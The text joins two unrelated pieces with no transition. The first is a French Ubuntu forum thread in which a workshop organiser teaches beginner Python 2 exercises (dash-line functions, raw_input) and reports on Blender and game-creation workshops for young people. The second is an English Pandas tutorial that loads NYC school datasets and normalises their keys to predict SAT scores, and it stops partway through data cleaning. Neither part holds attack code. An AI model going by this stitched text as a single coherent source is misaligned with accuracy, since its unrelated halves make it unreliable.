Mon programme python1.py est assez complexe car il définit aussi une fonction permettant de faire des lignes de séparation en astériques et en tirets.
Je ne donnerai pas ici tous les détails, trop complexes pour démarrer.
Mais voici comment réaliser une ligne composée de tirets uniquement (ou d'astérisques ou tout autre signe); c'est assez simple.
Pour compliquer et parvenir à mon résultat (c'est possible, même sans définir de fonction), vous devrez réfléchir un peu !
Le principe, c'est de multiplier le tiret par le nombre de fois qu'on veut voir ce tiret apparaître.
Le tiret est en fait une chaine d'1 seul caractère, donc on doit la mettre entre apostrophes au lieu de guillemets.
soit: '-'
Ensuite, on utilise * pour effectuer la multiplication.
Puis on met un chiffre assez grand pour que la ligne de tirets soit assez longue. 80 tirets, c'est pas mal, non ?
Le code sera donc:
print '-'*80
Si on veut changer ce chiffre de 80 par un autre facilement, le mieux serait de le transformer en variable nommée nb_tirets
EXERCICE
Définissez la variable nb_tirets qui représentera le nombre de tirets composant la ligne.
Imaginez la manière de coder pour faire une ligne de 20 tirets, en changeant juste la valeur de la variable.
Puis faites une ligne de 20 astérisques.
Puis concaténez (= aditionnez) les deux.
Répétez 3 fois (on peut multiplier le code précédent par 3 en le mettant entre parenthèses).
Bon codage !
Dernière modification par doudoulolita (Le 25/04/2010, à 13:39)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Le code est encore bien compliqué car je ne sais pas encore lister automatiquement mes personnages, mais j'utilise des fonctions définies en haut du code, que j'appelle ensuite au sein du programme.
Il y a un petit problème d'encodage des accents quand je regarde ma page de code dans Firefox, mais chez moi, ça fonctionne comme il faut.
Tout ça ne bouge pas beaucoup, mais le côté graphique est amené progressivement.
Si on veut faire une ligne de tirets en pouvant changer ensuite le nombre, on met ce nombre comme variable:
nb_tirets = 80
print '-'*nb_tirets
Je rappelle que le tiret doit être mis entre apostrophes puisqu'il s'agit d'une chaine d'un seul caractère.
Il suffira de changer le chiffre 80 par un autre pour avoir une ligne plus courte ou plus longue.
FONCTION
Mais on peut être amené à réutiliser plusieurs fois ce bout de code, en changeant à chaque fois le nombre de tirets, ce qui oblige à redéfinir la variable à chaque fois et à recopier tout ce code, pas évident !
Si on accumule plusieurs instructions pour un même objet et qu'on a besoin plusieurs fois du même bout de code, une fonction sera vraiment très utile. Le programme fera appel à elle chaque fois qu'il en aura besoin puis reviendra dans le cours normal des instructions.
On va donc définir une fonction pour ce bout de code dessinant une ligne composée d'un nombre précis de tirets successifs, ce qui permettra de l'appeler ensuite quand on veut:
def Tirets(nb_tirets):
chaine_tirets = '-'*nb_tirets
return chaine_tirets
Ne pas oublier les 2 points après la parenthèse donnant l'argument de la fonction (c.à.d nb_tirets) et les tabulations avant chaine_tirets et return. Ce sont ces indentations (faites avec la touche Tab, dans Kate) qui indiquent que l'on est en train de définir la fonction.
L'instruction return permet de faire un calcul, par exemple, sans l'afficher tout de suite.
Quant on appelle cette fonction Tirets au sein du programme, on note entre parenthèses le nombre de tirets désiré. On doit mettre l'instruction print dans le programme avant le nom de la fonction car l'instruction return, présente dans la fonction, n'affiche rien. Cela donnera 80 tirets puis 30 tirets:
print Tirets(80)
print Tirets(30)
SUGGÉRER UN ROCHER
Un rocher est constitué du tiret vertical | (touche 6 + AltGr) au début et à la fin, et d'un nombre variable de tirets (touche 6, sans autre touche). La façon de réaliser un rocher est définie dans la fonction Rocher(nb_tirets).
def Rocher(nb_tirets):
chaine_tirets = '|' + '-'*nb_tirets + '|'
return chaine_tirets
Je rappelle de nouveau que le tiret et le tiret vertical doivent être mis entre apostrophes puisqu'il s'agit pour chacun d'une chaine d'un seul caractère.
Il faudra bien sûr appeler la fonction Rocher par l'instruction print Rocher(10) ou print Rocher(5) au sein du code en indiquant le nombre de tirets désirés (dans notre exemple: 10 ou 5) comme argument.
ESPACER LES ROCHERS
Entre les rochers, il y a des espaces successifs appelés par la fonction Vide, avec en argument le nombre d'espaces (touche espace du clavier, tout bêtement).
def Vide(nb_espace):
chaine_vide = ' '*nb_espace
return chaine_vide
Cette fonction est même plus simple que pour réaliser un rocher ! Il faut juste penser à mettre un espace entre les apostrophes de la chaine.
La 1ère ligne de rochers comprend donc des vides de taille différente et des rochers de taille différente.
print Vide (3) + Rocher(5) + Vide(10) + Rocher(10) + 2*(Vide(5) + Rocher(5)) + "\n"
On note que la succession d'un vide de 5 espaces et d'un rocher de 5 tirets est appelée 2 fois (en multipliant le contenu de la parenthèse par 2) comme ci-dessous:
- Succession d'un vide de 5 espaces et d'un rocher de 5 tirets:
print Vide(5) + Rocher(5)
- La même chose appelée 2 fois:
print 2*(Vide(5) + Rocher(5))
2ème LIGNE DE ROCHERS
Pour la 2ème ligne de rochers, au lieu de changer la taille des vides "à la main", j'ai additionné le chiffre avec un autre au sein de la parenthèse de la fonction Vide, ou soustrait un nombre d'espaces au premier chiffre.
- 1er vide de la 1ère ligne, de 3 espaces:
print Vide (3)
- 1er vide de la 2ème ligne, de 3 espaces supplémentaires, soit 6 espaces:
print Vide (3+3)
- 2ème vide de la 1ère ligne, de 10 espaces. Note : Pour cet exemple, l'instruction print ne se met que si vous faites l'essai isolé, sinon il faut concaténer avec le symbole + la ligne de code précédente avec celle-ci :
print Vide(10)
- 2ème vide de la 2ème ligne, de 7 espaces en moins, soit 3 espaces restants:
print Vide(10-7)
Il semble logique de ne pas changer la taille des rochers.
SYMBOLISER LES PERSONNAGES
Au-dessus des rochers, on a fait une ligne où chaque personnage est représenté par une lettre, rappelant sa forme dans le jeu.
BiX = O Blob = A Stick = I
Il y a des vides appelés par la fonction Vide entre les personnages (leur lettre) et un saut de ligne noté "\n" à la fin de la ligne, code que vous avez remarqué seul dans le fichier à d'autres endroits, concaténé en fin de lignes.
print Vide(5) + perso_1 + Vide(15) + perso_2 + Vide(8) + perso_3 + "\n"
print "\n"
Dernière modification par doudoulolita (Le 25/04/2010, à 13:27)
Hors ligne
psychederic
Re : Faire une animation sur la création de jeux vidéo libres
Si vous savez programmer , vous pouvez faire des programmes dans lequel, il n'y a plus besoin de programmer. (laissons la programmation à ceux que ca interresse des huluberlus comme nous, qui ne serons jamais la majorité de la population : point)
Pourquoi pas : a la fois du mba vers lua, et du devellopement tout graphique ( comme le jeu spore par exemple et le tout avec les avantages du libre , et d'une base de donnée de ressource libre)
Par exemple, dans un premier temps utiliser syntensity, ou refaire un "jeu complet" mugen like avec paintown, c'est peut être ce que cherche les gens : et c'est à leur portée.
( je note aussi qu'il manque aussi une partie scenario, que j'essairai de compléter )
http://doc.ubuntu-fr.org/developpement_de_jeux_video
Hors ligne
tshirtman
Re : Faire une animation sur la création de jeux vidéo libres
@doudoulolita: eh ben! sacré démarrage heureux de voir que je t'inspire, j'ai un peu survolé tes explications, tu semble prendre les choses dans le bon sens bonne continuation
@psychedric: bizarrement les tentatives pourtant souvent réalisées par des programmeurs très compétends, de créations de langages tout graphiques, n'ont rien donné de très utilisable, en effet, exprimer la même chose avec des boutons et des graphiques qu'avec des mots clées et des suites d'ordres, s'avère être contre productif, il est vrai que la majeur partie de la population ne sera jamais développeur, mais ça ne vient pas du langage utilisé, en fait, il semble qu'on puisse aisément déterminer qui sera potentiellement programmeur et qui ne le sera pas, par un simple test, avant même d'avoir enseigné les bases… ça peut paraitre élitiste, mais c'est malheureusement le cas, enfin être formé à la programmation semble être absoluement insuffisant pour s'assurer d'être un vrai développeur…
http://www.codinghorror.com/blog/archives/000635.html
http://www.codinghorror.com/blog/2007/02/why-cant-programmers-program.html
(et dans les deux, une bonne myriade de liens très instructifs)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Merci pour les liens que j'irai voir prochainement.
Dans mon optique, il ne s'agit pas que tous les jeunes et toutes les personnes à qui nous proposerions une telle animation deviennent de vrais développeurs.
Le but du jeu est juste d'aborder, de faire découvrir la programmation pour que les jeunes comprennent de quoi il s'agit, et qu'ils puissent voir si ça leur plaît vraiment (au cas où ils rêvent de créer des jeux vidéos).
Il y a aussi la partie graphique, dans un jeu vidéo qui peut être abordée en participant au développement d'un jeu comme Ultimate Smash Friends
<- Sorlo
Aujourd'hui, j'ai montré Ultimate Smash Friends et mon personnage Sorlo à mon neveu qui vient tout juste d'avoir 11 ans et cela lui a donné envie d'en créer un lui aussi.
Mon neveu dessine plutôt bien et à plein d'idées. Il adore utiliser ma tablette graphique et commence à s'habituer à Gimp (il a Photoshop sur Mac, chez lui, mais il n'y fait pas beaucoup d'ordi). Aujourd'hui, il a griffonné quelques croquis très sympas et il ne parvenait plus à s'arrêter tellement ses idées fusaient !
Comme quoi, un gamin motivé peut partir dans des directions très intéressantes et même s'il ne va pas jusqu'au bout dans la mise au propre, ses idées peuvent être reprises par les adultes s'il est d'accord.
C'est sans doute plus complexe pour aborder la programmation, mais les petits logiciels comme Kturtle qui permettent de s'y initier sont déjà bien pour les plus jeunes, et quelques essais permettent de voir si on veut s'y coller ou pas quand on est plus âgé.
L'idéal serait d'avoir à un moment un vrai développeur qui vienne faire une intervention, mais il doit être en mesure de se mettre à la portée des jeunes, ce qui n'est pas si facile.
Ce qui semble évident pour un adulte peut en effet paraître totalement incompréhensible à un enfant.
Même en bases informatique, on voit aussi des adultes peiner devant des choses qui nous semblent aller de soi.
L'autre jour, une dame d'environ 60 ans me disait que pour elle, le clic droit ne voulait pas dire cliquer avec le bouton droit mais cliquer en allant tout droit ! Elle s'était même disputée avec son fils à ce sujet...
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Problème pour installer Syntensity sous Ubuntu Jaunty!
Je vais chercher d'autres choses, j'ai vu aussi la possibilité de faire de la programmation en python avec Blender.
Mais je dois bien sûr trouver quelque chose de simple en vue de mon projet d'animation.
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Pour MyPaint, on ne peut pas installer le paquet mypaint comme indiqué dans les pré-requis de la doc d'Ubuntu (lien mort et pas trouvé dans les dépots)
Une fois l'install' effectuée, il s'ouvre mais me signale une erreur de programmation. Je ferme cette fenêtre, histoire de lui clouer le bec, et j'essaie de dessiner un peu mais la fenêtre d'erreur revient toutes les 10 secondes...
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
En langage python, pour que le joueur puisse entrer une donnée, voici le code à taper dans un simple éditeur de texte :
print "Joueur n°1, tapez votre pseudo: ",
pseudo1 = raw_input()
print "Bienvenue à", pseudo1, "dans Ultimate Smash Friends, vous êtes le joueur n° 1 !"
L'instruction print permet l'affichage de la chaîne de caractère de la 1ère ligne. On se rappelle que ces chaines sont mises entre guillemets.
raw_input() permettra d'entrer la donnée pseudo1 dans le programme pour l'utiliser par la suite.
Nous l'afficherons dans une phrase grâce à la 3ème ligne. Celle-ci insèrera cette donnée pseudo1 entre 2 chaines de caractères (toujours entre guillemets, souvenez-vous !).
La virgule derrière la question, dans le code, permet que votre réponse reste sur la même ligne que la question. Idem pour les virgules avant et après pseudo1
Enregistrez sous le nom de progpseudo.py dans un dossier nommé programmes. Remplacez par le nom de votre propre programme et de votre propre dossier s'il est différent, bien sûr
Ouvrez la console (Konsole ou Terminal).
Placez vous dans le bon dossier grâce à la commande cd suivie du chemin du dossier (change directory = changer de répertoire). Ex:
cd /home/laurence/programmes
Tapez sur la touche Entrée du clavier pour entrer dans le répertoire demandé.
Ecrivez ce code à la suite dans la console pour appeler votre super programme:
python progpseudo.py
Tapez sur la touche Entrée pour lancer le programme.
La console affiche alors la 1ère ligne, à laquelle vous devez répondre.
Répondez puis validez avec la touche Entrée.
La console affichera ensuite votre réponse à l'intérieur de la phrase appelée par la 3ème ligne de code.
Cette image montre à la fois le code écrit dans l'éditeur de texte et le résultat dans la console. N'oubliez pas que je n'ai tapé mon nom qu'une fois dans la console et nulle part dans le code !
Si vous copiez-collez ces 3 lignes de codes en dessous des précédentes et que vous remplacez le chiffre 1 par le chiffre 2, vous pourrez aussi demander son pseudo au joueur n°2 et l'afficher pareillement. Essayez !
Demandez ensuite le prénom des 2 joueurs puis arrangez-vous pour l'afficher dans une phrase du type:Le pseudo de Laurence est Doudoulolita tandis que le surnom de Jean est Patouille.
N'hésitez pas à inventer d'autres questions et d'autres phrases pour vous amuser.
Dernière modification par doudoulolita (Le 18/05/2010, à 00:40)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
print "Joueur n°1, combien de points de vie avez-vous ?",
nb_points1 = int(raw_input())
print "Joueur n°2, combien de points de vie avez-vous ?",
nb_points2 = int(raw_input())
print "Au début du jeu,", pseudo1, "a", nb_points1, "points de vie,", pseudo2, "en a", nb_points2, "."
print "Il y a", \
nb_points1 + nb_points2, \
"points de vie en tout."
int(raw_input()) permet d'entrer un chiffre que l'on pourra réutiliser dans un calcul, comme ici avec nb_points1 + nb_points2. Notez qu'il y a 2 parenthèses fermantes à la fin, une pour fermer raw_input, une pour fermer int. Mais n'oubliez pas d'ouvrir les parenthèses avant de les fermer !
On note les \ avant et après le calcul, et les espaces pour indenter les 2 dernières lignes (c'est à dire les décaler vers la droite). Ne pas utiliser la touche Tabulation car il me semble que ça pose problème.
Le programme suivant se base sur cet exemple mais l'addition (ici: 5+6 = 11) est placée avant le nombre de points de chaque joueur. Il réutilise aussi le code appris précédemment.
Cliquez sur l'image de la console pour voir le code utilisé (écrit dans l'éditeur de texte, donc)
Bon, dans un jeu, on ne choisit pas soi-même ses points de vie, mais vous pouvez prendre un dé pour décider de votre réponse !
Quant au nombre de joueurs, si vous le choisissez plus élevé que le nombre choisi par le programmeur pour l'instant (ici je n'en ai prévu que 2...), vous n'aurez pas de questions pour les joueurs 3, 4, etc.
A vous de coder pour prévoir 4 joueurs, comme dans le vrai jeu d'Ultimate Smash Friends !
Dernière modification par doudoulolita (Le 20/07/2010, à 19:02)
Hors ligne
arturototo
Re : Faire une animation sur la création de jeux vidéo libres
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaj'y voit plus claire maintenant mercie!!!!!!
Artur MOUKHAMEDOV
(11 ans)
Hors ligne
arturototo
Re : Faire une animation sur la création de jeux vidéo libres
je comprend bien mieu
Artur MOUKHAMEDOV
(11 ans)
Hors ligne
tshirtman
Re : Faire une animation sur la création de jeux vidéo libres
lol, t'as le même avatar que Kanor, je t'ai pris pour lui au début, comme il fait aussi du python ^^, mais ça m'étonnait qu'il ait appris un truc juste là .
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Mon premier atelier sera sur Blender les 19 et 20 juillet de 14 à 16h à l'Espace libre 13.1.
Au programme: création d'une petite barque et intégration dans un fond en vue de créer un décor pour le jeu Ultimate Smash Friends.
Deuxième atelier sur la programmation python (B.A.BA) les 22 et 23 juillet de 14 à 16h. Un mini-script python pour Blender trouvé sur Internet complétera quelques exercices en mode texte.
Dernière modification par doudoulolita (Le 12/07/2010, à 13:47)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Voici une idée de ce que je souhaite réaliser avec les participants à mon atelier Blender du 19 et 20 juillet 2010 (pour adultes et jeunes à partir de 15 ans):
Les participants réaliseront une barque sur Blender.
Elle est modélisée avec des extrusions, le modificateur Miroir et des redimensionnements utilisant le PET (Outil d'Edition Proportionnelle).
Il faudra placer lampe et caméra pour voir la barque de profil.
On apprend aussi à utiliser le mode points, le mode arêtes et le mode faces, ainsi que l'outil Couteau (K), et à choisir un rendu en png avec un fond transparent (RGBA).
Enfin, on ajoute à la barque un matériau marron et une texture bois.
Puis, si on a le temps, les participants insèreront l'image rendue en plusieurs exemplaires avec Gimp sur une image de fond (trouvée sur internet). Ils ajouteront le personnage Sorlo pour se donner une idée de la taille que doit avoir la barque. On utilisera donc l'outil de recadrage, les calques et l'outil de redimensionnement.
L'image de fond provient de http://commons.wikimedia.org/wiki/File: … rfeurs.jpg
Dernière modification par doudoulolita (Le 12/07/2010, à 13:56)
Hors ligne
tshirtman
Re : Faire une animation sur la création de jeux vidéo libres
Oula, l'idée est intéressante mais assez perturbante du point de vue perspective ^^.
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Comme je l'ai marqué sur l'autre topic sur USF, je n'ai pas eu grand monde à mon animation.
Sur les 5/6 inscrits, seulement 2 se sont présentés, un jeune de 15 ans gentil mais qui croit que ça lui sera facile de devenir testeur de jeux, et un adulte qui s'intéressait en fait à la retouche photo sur Gimp.
Le jeune a quand même commencé un petit iceberg en vue d'en faire un élement de décor pour USF, avec Blender; ma barque ne le motivait pas beaucoup (et pourtant, sur le plan didactique, il y avait plus à apprendre !)
Pour une animation de 2x2h, on ne peut de toute façon pas faire un truc très travaillé.
Je voulais surtout leur apprendre à modéliser et texturer la barque et j'ai un peu vite fait l'insertion sur le fond, sans trop me prendre la tête dessus, j'avoue !
L'idéal serait en fait de "fabriquer la mer" avec Blender ou en tout cas de mieux placer les barques sous la camera pour avoir une perspective correcte, effectivement (mais comment placer des repères fiables ?).
Il faudrait aussi mettre quelques vagues en bas des barques pour les faire flotter en utilisant une copie du calque et un masque de calque.
Mais travailler sur un décor "à plat" (et non un truc en hauteur) n'était peut-être la meilleure idée pour un décor de jeu 2D.
Le jeune qui a fait l'iceberg pendant l'animation voudra sans doute faire aussi la mer avec Blender ou avec Gimp et là, je dois dire que je n'ai pas encore étudié la question de la profondeur. On se retrouvera aussi avec un problème de perpective.
En fait, la question que je me posais avant de concevoir cette animation, c'était de savoir si je choisissais le thème du décor et que je l'imposais à tous (plus facile avec un groupe de personnes au-delà de 4 ou 5) ou si je partais des idées des participants, ce qui implique qu'ils se mettent d'accord et pour moi, de m'adapter à un truc qu'on n'a pas testé avant.
Dans l'un comme l'autre cas, j'ai fait une erreur en oubliant un des principes de base du jeu, qui fonctionne en 2D et dont le décor doit se travailler sur l'axe Z de Blender !
J'espère avoir un peu de monde Jeudi et vendredi pour la programmation, mais si besoin, je m'adapterai aux personnes présentes.
De toute façon, la préparation de ces ateliers m'a permis d'acquérir des petites bases sur Python et j'ai même fait un essai de Pygame grâce à des tutos sur le web, donc ce n'est pas du temps perdu.
Je me suis aussi acheté le bouquin "The blender Gamekit", en anglais. A suivre...
Dernière modification par doudoulolita (Le 20/07/2010, à 18:56)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Je me suis amusée à faire encore d'autres petits essais en python en mode texte mais je voulais passer au côté graphique.
Dans le livre "Initiation à la programmation" d'Yves Bailly, qui m'a servi de base, les exemples sont donnés avec la bibliothèque Qt.
J'ai trouvé des tutos intéressants pour python avec Pygame (en anglais)
J'ai suivi les 2 premiers tutos, très simples, de pygame-tutorial et un autre pour apprendre à incorporer une image . Mon code n'est pas super mais ça affiche quelque chose !
Je suppose qu'une fonction pour les rectangles serait bien ou même peut-être existe-t-il quelque chose de "tout fait" dans Pygame. Les chiffres entre parenthèses indiquent d'abord la couleur de la ligne en mode RVB, puis les coordonnées des points de début et de fin (en pixels).
Pour trouver les codes de couleurs, choisir une couleur dans le sélecteur de couleur de Gimp et noter les chiffres R,V et B indiqués sur la droite du sélecteur de couleur.
Ce que le livre d'Yves Bailly m'a fait comprendre, c'est que pour créer un jeu en python, par ex., il faut d'abord exprimer clairement les choses et définir objets et actions du jeu (en français, tout bêtement !).
En les exprimant clairement et de manière détaillée, on voit plus rapidement comment travailler et structurer le code qu'on fera par la suite.
Un simple mouvement d'un des éléments du décor nécessite de définir les coordonnées de cet objet, de définir ses modalités de déplacement, d'indiquer ce qui provoque ce déplacement (touche de clavier, par ex); le fait qu'il ait une certaine vitesse implique le temps, et donc peut-être un chronomètre, etc!
Dernière modification par doudoulolita (Le 20/07/2010, à 19:16)
Hors ligne
tshirtman
Re : Faire une animation sur la création de jeux vidéo libres
Ce que le livre d'Yves Bailly m'a fait comprendre, c'est que pour créer un jeu en python, par ex., il faut d'abord exprimer clairement les choses et définir objets et actions du jeu (en français, tout bêtement !).
En les exprimant clairement et de manière détaillée, on voit plus rapidement comment travailler et structurer le code qu'on fera par la suite.
tout à fait, c'est vrai pour tout type de programmes, et les jeux ne font pas exceptions, mieux on sait ce qu'on veux faire (et ce n'est pas facile) plus on a de chance de le faire correctement!
un jeune de 15 ans gentil mais qui croit que ça lui sera facile de devenir testeur de jeux,
c'est facile, sauf si tu veux que ce soit un vrai métier…
Dernière modification par tshirtman (Le 20/07/2010, à 19:34)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Pour un jeune, je pense que les logiciels libres et en particulier les jeux libres leur offrent une chance formidable de s'entraîner et de vérifier leur motivation au cas où ils souhaiteraient faire de leur passion un métier.
Tester, développer, c'est quand même plus facile dans ce cadre qu'au sein d'une entreprise très fermée, non ?
Le problème de certains ados, c'est qu'ils pensent que pour être testeur, il suffit juste de jouer et que ce sera des jeux qui les passionnent alors qu'un simple tour sur les forums au sujet de ce métier (ou de cette activité, si on préfère) montre le contraire.
Mais que les ados rêvent, c'est normal. Après, s'ils veulent vraiment réaliser leur rêve, il leur faudra se confronter à la réalité et prouver leur motivation pour pouvoir vivre de leur passion.
Je dis ça alors qu'ado, je rêvais d'être styliste chez Jean-Paul Gaultier, et que je me suis retrouvée quelques années plus tard simple patronnière dans le Sentier (ceux qui connaissent Paris savent dans quelles conditions on y travaille le plus souvent)...
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
J'ai oublié de dire ici que je n'ai pas eu beaucoup plus de monde pour l'atelier programmation. Un adulte qui pensait qu'il s'agissait de faire des bases de données (et dans son cas, un simple tableur comme calc devait lui suffire, à mon avis), le jeune qui était là pour Blender et deux autres plus jeunes encore.
Les jeunes ont eu du mal à s'intéresser à Ultimate Smash Friends et à python !
Celui de 15 ans m'a montré RPG maker dont pour ma part je ne raffole pas mais qui a amusé les autres pour créer des décors très facilement.
Le côté programmation des persos sur RPGmaker n'est pas si évident que ça en a l'air, j'ai eu ensuite du mal à reproduire ce que m'avait montré le jeune, qui pourtant semblait super simple.
Ce que je n'aime pas dans ce programme, c'est le côté "déjà tout fait" que les jeunes, eux, aiment beaucoup.
Ce qui est plutôt pratique, c'est la simplicité de création des décors qui peut plaire aux plus jeunes pour les amener ensuite vers plus de programmation avec les personnages.
Je ne sais pas si ce type de jeu permettant de créer un jeu existe en logiciel libre et a ce côté facile et convivial qu'aiment les jeunes.
Jusqu'ici nos recherches en matière de jeux intéressants sont un peu stériles. J'ai voulu mettre Yo frankie sur les ordis du boulot et ça ne fonctionne pas alors que chez moi ça marche.
C'est sans doute nos ordis du boulot qui pèchent quelque part. J'ai en effet Ubuntu Lucid Lynx comme au boulot mais ma config est supérieure.
Dernière modification par doudoulolita (Le 19/08/2010, à 07:29)
Hors ligne
doudoulolita
Re : Faire une animation sur la création de jeux vidéo libres
Par hasard, tout récemment, j'ai découvert le jeu Plee the bear mais pour contribuer, c'est encore plus difficile car c'est en python C++.
Les tutoriels sont par contre très bien documentés et le jeu présente une cohérence intéressante et un mini scénario.:)
A titre perso je vais continuer à apprendre python et pygame. Je verrai plus tard si je peux réunir des jeunes adultes et des ados motivés pour un autre atelier.
Dernière modification par doudoulolita (Le 19/08/2010, à 07:31)
Hors ligne |
Crossposted from blog.untrod.com
An Introduction to Pandas
This tutorial will get you started with Pandas - a data analysis library for Python that is great for data preparation, joining, and ultimately generating well-formed, tabular data that's easy to use in a variety of visualization tools or (as we will see here) machine learning applications. This tutorial assumes a solid understanding of core Python functionality, but nothing about machine learning or Pandas.
Goals
Using data from NYC Open Data, build a unified, tabular dataset ready for use with machine learning algorithms to predict student SAT scores on a per school basis.
Learn and use the Pandas data analysis package.
Learn how data is typically prepared for machine learning algorithms (ingestion, cleaning, joining, feature generation).
In [8]:
import pandas as pd
# Load the data
dsProgReports = pd.read_csv('C:/data/NYC_Schools/School_Progress_Reports_-_All_Schools_-_2009-10.csv')
dsDistrict = pd.read_csv('C:/data/NYC_Schools/School_District_Breakdowns.csv')
dsClassSize = pd.read_csv('C:/data/NYC_Schools/2009-10_Class_Size_-_School-level_Detail.csv')
dsAttendEnroll = pd.read_csv('C:/data/NYC_Schools/School_Attendance_and_Enrollment_Statistics_by_District__2010-11_.csv')[:-2] #last two rows are bad
dsSATs = pd.read_csv('C:/data/NYC_Schools/SAT__College_Board__2010_School_Level_Results.csv') # Dependent
In [9]:
dsSATs.info()
Out[9]:
Int64Index: 460 entries, 0 to 459 Data columns: DBN 460 non-null values School Name 460 non-null values Number of Test Takers 460 non-null values Critical Reading Mean 460 non-null values Mathematics Mean 460 non-null values Writing Mean 460 non-null values dtypes: object(6)
Outline
Pandas has read the data files without issue. Next let's create a rough map of where we are going.
We have five datasets here, each with information about either schools or districts. We're going to need to join all of this information together into a tabular file, with one row for each school, joined with as much information we can gather about that school & its district, including our dependent variables, which will be the mean SAT scores for each school in 2010.
Drilling down one level of detail, let's look at the dataset dsSATs, which contains the target variables:
In [10]:
dsSATs.info()
Out[10]:
Int64Index: 460 entries, 0 to 459
Data columns:
DBN 460 non-null values
School Name 460 non-null values
Number of Test Takers 460 non-null values
Critical Reading Mean 460 non-null values
Mathematics Mean 460 non-null values
Writing Mean 460 non-null values
dtypes: object(6)
Target Variable and Joining Strategy
We are going to build a dataset to predict Critical Reading Mean, Mathematics Mean, and Writing Mean for each school (identified by DBN).
After digging around in Excel (or just taking my word for it) we identify the following join strategy (using SQL-esque pseudocode):
dsSATS join dsClassSize on dsSATs['DBN'] = dsClassSize['SCHOOL CODE'] join dsProgReports on dsSATs['DBN'] = dsProgReports['DBN'] join dsDistrct on dsProgReports['DISTRICT'] = dsDistrict['JURISDICTION NAME'] join dsAttendEnroll on dsProgReports['DISTRICT'] = dsAttendEnroll['District']
Primary Keys - Schools
Before we can join these three datasets together, we need to normalize their primary keys. Below we see the mismatch between the way the DBN (school id) field is represented in the different datasets. We then write code to normalize the keys and correct this problem.
In [11]:
pd.DataFrame(data=[dsProgReports['DBN'].take(range(5)), dsSATs['DBN'].take(range(5)), dsClassSize['SCHOOL CODE'].take(range(5))])
Out[11]:
0 1 2 3 4
DBN 01M015 01M019 01M020 01M034 01M063
DBN 01M292 01M448 01M450 01M458 01M509
SCHOOL CODE M015 M015 M015 M015 M015
In [12]:
#Strip the first two characters off the DBNs so we can join to School Code
dsProgReports.DBN = dsProgReports.DBN.map(lambda x: x[2:])
dsSATs.DBN = dsSATs.DBN.map(lambda x: x[2:])
#We can now see the keys match
pd.DataFrame(data=[dsProgReports['DBN'].take(range(5)), dsSATs['DBN'].take(range(5)), dsClassSize['SCHOOL CODE'].take(range(5))])
Out [12]:
0 1 2 3 4
DBN M015 M019 M020 M034 M063
DBN M292 M448 M450 M458 M509
SCHOOL CODE M015 M015 M015 M015 M015
Primary Keys - Districts
We have a similar story with the district foreign keys. Again, we need to normalize the keys. The only additional complexity here is that dsProgReports['DISTRICT'] is typed numerically, whereas the other two district keys are typed as string. We do some type conversions following the key munging.
In [13]:
#Show the key mismatchs
#For variety's sake, using slicing ([:3]) syntax instead of .take()
pd.DataFrame(data=[dsProgReports['DISTRICT'][:3], dsDistrict['JURISDICTION NAME'][:3], dsAttendEnroll['District'][:3]])
Out[13]:
0 1 2
DISTRICT 1 1 1
JURISDICTION NAME CSD 01 Manhattan CSD 02 Manhattan CSD 03 Manhattan
District DISTRICT 01 DISTRICT 02 DISTRICT 03
In [14]:
#Extract well-formed district key values
#Note the astype(int) at the end of these lines to coerce the column to a numeric type
import re
dsDistrict['JURISDICTION NAME'] = dsDistrict['JURISDICTION NAME'].map(lambda x: re.match( r'([A-Za-z]*\s)([0-9]*)', x).group(2)).astype(int)
dsAttendEnroll.District = dsAttendEnroll.District.map(lambda x: x[-2:]).astype(int)
#We can now see the keys match
pd.DataFrame(data=[dsProgReports['DISTRICT'][:3], dsDistrict['JURISDICTION NAME'][:3], dsAttendEnroll['District'][:3]])
Out[14]:
0 1 2 DISTRICT 1 1 1 JURISDICTION NAME 1 2 3 District 1 2 3
Additional Cleanup
At this point we could do the joins, but there is messiness in the data still. First let's reindex the DataFrames so the semantics come out a bit cleaner. Pandas indexing is beyond the scope of this tutorial, but suffice it to say it makes these operations easier.
In [15]:
#Reindexing
dsProgReports = dsProgReports.set_index('DBN')
dsDistrict = dsDistrict.set_index('JURISDICTION NAME')
dsClassSize = dsClassSize.set_index('SCHOOL CODE')
dsAttendEnroll = dsAttendEnroll.set_index('District')
dsSATs = dsSATs.set_index('DBN')
Let's take a look at one of our target variables. Right away we see the "s" value, which shouldn't be there.
We'll filter out the rows without data.
In [16]:
#We can see the bad value
dsSATs['Critical Reading Mean'].take(range(5))
Out[16]:
DBN M292 391 M448 394 M450 418 M458 385 M509 s Name: Critical Reading Mean
In [17]:
#Now we filter it out
#We create a boolean vector mask. Open question as to whether this semantically ideal...
mask = dsSATs['Number of Test Takers'].map(lambda x: x != 's')
dsSATs = dsSATs[mask]
#Cast fields to integers. Ideally we should not need to be this explicit.
dsSATs['Number of Test Takers'] = dsSATs['Number of Test Takers'].astype(int)
dsSATs['Critical Reading Mean'] = dsSATs['Critical Reading Mean'].astype(int)
dsSATs['Mathematics Mean'] = dsSATs['Mathematics Mean'].astype(int)
dsSATs['Writing Mean'] = dsSATs['Writing Mean'].astype(int)
#We can see those values are gone
